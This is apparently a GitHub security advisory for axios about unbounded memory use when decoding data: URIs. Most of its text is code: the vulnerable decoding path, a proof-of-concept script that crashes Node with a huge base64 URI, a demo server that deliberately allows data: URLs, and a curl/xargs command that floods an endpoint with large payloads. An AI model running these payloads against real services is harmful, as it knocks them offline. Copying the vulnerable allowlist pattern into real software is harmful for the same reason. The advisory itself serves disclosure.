GHSA-4hjh-wcwx-xvwj

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); }

export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); }

const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); });

node --max-old-space-size=100 poc.js

<--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … …

import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 * 1024, // Axios will ignore this for data: maxBodyLength: 8 * 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 * 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`); console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`); });

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```